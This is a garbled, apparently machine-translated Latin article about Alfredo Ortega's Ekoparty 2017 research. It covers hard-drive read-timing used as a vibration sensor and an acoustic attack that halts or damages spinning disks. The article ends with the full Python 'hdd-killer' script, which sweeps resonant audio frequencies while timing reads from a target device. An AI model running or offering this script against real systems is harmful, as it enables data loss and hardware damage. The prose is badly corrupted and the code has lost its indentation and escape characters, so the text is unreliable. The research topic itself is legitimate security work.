
Ad Ekoparty 2017 colloquium securitatis computatoriae in Buenos Aires, Argentina piratica Alfredo Ortega evolutionem valde interesting ostendit - systema secreti wiretapping praemissorum sine tortore utendo. Sonus !
HDD maxime altum intensionem humilitatis frequentiae tollit sonos, vestigia et alias vibrationes. Humana locutio nondum agnosci potest, etsi docti (cognitio loquelae vibrationum frequentia humilium, quae notantur, exempli gratia a gyroscope vel HDD).
Sonus est vibratio aeris vel alterius medii. Homo eas percipit per eardrum, quod vibrationes in aurem interiorem transmittit. Microphone fere ut auricula designatur - hic quoque vibrationes memorantur per membranam tenuem quae impulsum electricam excitat. Ferreus coegi, utique microscopicis vibrationibus obnoxius est ob ambigua in aere circum. Hoc etiam ex notis technicis HDDs notum est: artifices maximam vibrationis gradum licitam plerumque indicant, et ipsa ferreus coegi saepe nititur eum ponere in vase vibratione probationis e materia globoso vel alia insulante facta. Ex quo facile colligitur sonos usus HDD notari posse. Reliquum est ut instar quomodo.
Alfredo Ortega unicam versionem oppugnationis lateris canali proposuit, scilicet tempus oppugnationis. Impetum hoc innititur supposito quod diversae operationes in fabrica diversis temporibus peragantur, secundum initus datae datae. In hoc casu, "input data" est vibrationes lectionis capitis et patinae HDD, quae cum sono ambitus vibrationes referunt, id est cum sono. Ita mensurans tempus computationis et analysin statistica notitiarum faciendo, vibrationes capitis/patinae et inde vibrationes medii metiri possunt. Quo diutius morae legendi datae sunt, eo fortius HDD vibrationes, ac proinde soni majoris.
Quomodo tremor coegi metiri ferreum? Valde simplex: iustus run ratio vocationis read () — ac notare tempus capit ad perficiendum. Systema operandi moderni permittunt te leoni systematis vocati cum accuratione nanoseconda legere.
Celeritas informationum legendi a sector pendet a positione capitis et patinae, quae cum tremoribus casus HDD correlat. Id omne.
Analysis statistica exercetur utendi simplici utilitate Kscope. Omne ingenium, ut aiunt, simplex est.

Kscope utilitas (stat() syscall)
Kscope parva utilitas est ad minimas differentias visualisndas in systemate vocationis executionis tempora. Source.
In separato reposito est versio utilitatis conformatus ad tempus impetus in ferreos coegi, id est ad systema vocationis resolvere configuratum. read ().
Demonstratio sanae recordationis HDD usus, operatio utilitatis Kscopi

Utique locutio hoc modo intelligi non potest, sed HDD satis apta est ut vibratio sensoris. Exempli gratia, scribere potes si quis calceos duros vel discalceatos in cubiculum cum computatrali ingressus est (forsitan si oppugnator molles sneakers gerit vel spissum in solo vestis est, HDD vibrationes subire non poterit. hoc annotandum est). Computatorium vitreum fractum vel alia incidentia valida cum vehementia intensione scribere potest. Hoc est, ferreus coegi potest quasi quaedam ratio deprehendendi alienum intrusionis.
HDD interfectorem
Obiter, similis ars ad discos duros inactivandos adhiberi potest. Hic autem vibrationes ex disco duro non capimus, sed potius vibrationes generamus quae ad discum durum transmittuntur. Si sonum ex diffusore frequentia quae cum frequentia disci duri resonat audis, systema mox machinam errore I/O (nucleum) claudet. Linux (Hoc discum durum post 120 secundas penitus exstinguit.) Ipse discus durus irreparabiliter laesus esse potest.

core Linux Discus rigidus post 120 secunda soni frequentia resonanti per Edifier r19u USB oratorem ludendi clausus est. Orator ad quartam partem potentiae suae (minus quam 100 mW) accensus est et 20 cm a disco rigido positus, ad mensam directus ad vibrationes amplificandas. Imaginem fixam ex... per demonstrationem HDD interfectorem
Curiosum est quod tales impetus in HDDs quandoque omnino per accidens in vita communi occurrunt. Exempli gratia, mense Septembri 2016, centrum notitia ING Bank operationes per 10 horas post ignem exercitio suspendere coactus est. ob sonum gasi inertis soni e cylindrici sub alta pressura dimissi sunt. Sonus erat valde magnus (plus quam 130 dB), sed nec clamare potes in duris agitationibus - haec mora auget in accessu HDD.
Demonstratio quiritationis humanae in arduis agitationibus in centrum datae. Latency measurement

Ad sonorum sonorum generandum, Alfredus Ortega scripsit scriptor Python, qui vocatus est ().
Parum est, ut hic totum divulgare potes.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()Source: www.habr.com
